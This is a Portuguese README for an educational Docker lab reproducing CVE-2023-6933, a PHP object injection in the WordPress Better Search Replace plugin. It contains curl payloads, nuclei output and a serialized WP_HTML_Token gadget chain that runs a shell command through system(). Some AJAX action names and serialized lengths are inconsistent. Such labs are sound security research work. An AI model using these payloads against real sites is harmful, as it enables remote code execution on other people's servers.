
Laboratório prático para CVE-2023-6933, uma vulnerabilidade de injeção de objeto PHP no plugin Better Search Replace do WordPress, com implantação Docker, modelo nuclei e scripts de exploração para pesquisa e educação em segurança.
Este ambiente de laboratório demonstra a CVE-2023-6933, uma vulnerabilidade crítica de Injeção de Objetos PHP no plugin Better Search Replace para WordPress, versões ≤ 1.4.4.
/wp-admin/admin-ajax.php com ação search_replace_db# Clone o repositório
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Implante usando a imagem Docker Hub (pull automático)
docker-compose up -d
O laboratório irá automaticamente:
trex999/vulnerable-bsr-lab:latest)# Execute o POC automatizado
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Teste manual via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
O plugin Better Search Replace contém uma vulnerabilidade de Injeção de Objetos PHP em seu manipulador AJAX. A vulnerabilidade ocorre quando:
search_for via POST para /wp-admin/admin-ajax.phpsearch_replace_dbNosso modelo nuclei demonstra a vulnerabilidade por meio de múltiplos estágios de verificação:
O modelo nuclei (nuclei-templates/cve-2023-6933.yaml) é estruturado profissionalmente:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
O POC com sucesso:
⚠️ AVISO: Este ambiente contém software intencionalmente vulnerável. Use apenas em ambientes de teste isolados. Não implante em produção ou sistemas acessíveis pela Internet.
docker-compose down -v
Criado para fins educacionais e de pesquisa em segurança
Docker_LAB_SETUP/)cve_2023_6933_exploit.php — Kit de ferramentas abrangente de exploração PHPwp_html_token_poc.php — Demonstração de RCE para WordPress 6.4.0+bsr_direct_exploit.php — Teste direto de vulnerabilidadenuclei-templates/cve-2023-6933.yaml — Modelo nuclei avançadomanual-test.sh — Script de teste manual abrangenteEste laboratório demonstra detecção baseada em sucesso seguindo as melhores práticas para pesquisa de vulnerabilidades:
Em vez de depender de erros HTTP 500, nossas ferramentas detectam:
Utilizando a classe WP_HTML_Token do WordPress 6.4.0+ para RCE real:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# Testar presença básica do plugin
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Testar vulnerabilidade com payload seguro
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"
| Serviço | URL | Credenciais |
|---|---|---|
| WordPress | http://localhost:8080 | admin/admin |
| phpMyAdmin | http://localhost:8081 | root/rootpassword |